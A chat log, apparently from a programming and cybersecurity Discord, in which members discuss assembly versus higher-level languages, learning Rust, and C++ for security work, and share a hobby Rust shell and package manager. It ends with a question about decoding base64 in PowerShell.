I feel like i got the ball rolling for this chat lol it was so dead until i asked that basic C question 😆

[tough nexus]

Not python dev but experienced in it and this was my exact reaction

[brazen eagle]

Eh, there are probably undocumented bulbs everywhere tbh

[brisk coral]

The reason I think assembly is the hardest language objectively is because when creating high level programming constructs with the syntax of assembly and it's low level nature, it makes
coding frameworks or libraries more complicated & difficult to map out, nevertheless completely secure and upholding proper error handling..

[brisk coral]

Yeah same, it's gonna take a lil bit to get used to C using static arrays fr

[tulip sail]

So, uh, pretty much exactly what I said then?
The rules and syntax are incredibly simple, but there is operational complexity because you end up having to implement everything yourself.
That doesn't make it objectively the hardest language though.

[brisk coral]

Yes I agree that it's operational complexity surpasses C and other languages and the actual code itself is pretty straightforward

However operational complexity demonstrates the constraints of different programming languages. Arguably this makes programming in these languages like assembly more complex than higher level languages?

[tulip sail]

Now that I will agree with

[brisk coral]

Feel free to correct me but as far as I'm aware, the complexities of low level programming becomes apparent a lot quicker with programming languages like C. Python makes these abstraction layers more accessible to end users. And assembly is the core of it all

[tulip sail]

Absolutely correct, yep. The lower you go, the more you need to handle yourself.

Languages like Rust are actually really interesting for that, because they feel quite high level, but they compile right down

[brisk coral]

Exactly, it's just a much better program too because of that low level control, that's why I also think rust is going to pop off within the next year

Rust has so much potential, if it ends up becoming a part of my toolkit I'll probably end up making my own libraries

Not like full libraries but tailored ones @tulip sail

[rapid charm]

ive been interested in learning rust

i mainly use c/c++ but ive heard a lot about it and it seems very interesting

[nocturne wadi]

Its very very different but not hard once you get used to its quirks

I came from c++ and learned rust as well

I personally learned it fine by just looking at simple rust programs and watching some yt videos

[static sluice]

hey guys i wanna know if learning c++ is useful in cybersecurity?

[upbeat frost]

It can be useful for tasks like vuln. analysis, reverse engineering, malware analysis and developing some tools 🙂

[tacit lynx]

languages that force you to handle memory by yourself are pretty neat to know in cybersecurity

[rapid charm]

i will not tag you again but id also like to add that it will allow you to get a much lower understanding of how computers/networking works

gotta know how things work on a decent level to be able to break or protect them depending on what youre interested in

[nocturne wadi]

Custom shell!

Also sorry about it being a picture

[brisk coral]

oh damn, i like that a lot

what did you make it with?

[nocturne wadi]

That is mostly just the fastfetch command

[nocturne wadi]

rust

[brisk coral]

Very neat

Are you going to make it open source or are you gonna make it custom/private

[nocturne wadi]

Open source because its for my linux distribution :)

Still also not released but im not super far from releasing it

[brisk coral]

sweet man, i'm looking forward it it

[nocturne wadi]

Thanks!

[brisk coral]

might add some networking functions to it when it's released

[brisk coral]

no worries man, I always like a professionally laid out tool

[gaunt matrix]

does anyone know why this is happening

nevermind solved it

[abstract shell]

anyone got a good roadmap to learn reverse engineering and exploit development for pentests?

[nocturne wadi]

Beta for my package manager
https://github.com/hydrophobis/hydropkg

https://github.com/hydrophobis/hydrosh
And the shell

[brazen eagle]

conditional command seems limited

[nocturne wadi]

Yes it is

I plan on doing actual expression evaluation soon

[brazen eagle]

package manager code needs airing 😉

I'd probably class out the commands into a plugin infra

rather than a big if-else block

[nocturne wadi]

Whats airing?

[nocturne wadi]

oh thats a good idea thanks

[brazen eagle]

Let the code breathe 😉

[lilac holly]

https://github.com/chrislgarry/Apollo-11

[nocturne wadi]

Installed a statusbar. I think it looks good

[tacit lynx]

nice music taste bro 🔥

[nocturne wadi]

Thanks

[wispy kestrel]

Gave +1 Rep to @tacit lynx (current: #356 - 17)

[magic falcon]

as funny as it might be, lets keep political anything out of this discord please

[tacit lynx]

okay sure

[nocturne wadi]

will do

[nocturne wadi]

Can you send a few lines before the line with the error?

[tribal ice]

@nocturne wadi

[nocturne wadi]

add_scraper doesnt have a close parentheses

[tribal ice]

thanks

[lyric mirage]

@tribal ice How about we don't perform scrapes on social media?

[nocturne wadi]

ah i forgot that people try to do illegal stuff sorry

[lilac holly]

what is a good way to base64 decode a file using Powershell? PS > [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("data")) seemed crazy verbose, yet using certutil -decode data.b64 data.txt was a lot easier, thoughts?

[hollow sorrel]

You gotta take into consideration that PowerShell is a scripting language. If you wrap this over a function in PowerShell, you can just call it as like Get-DecodedB64Data or something.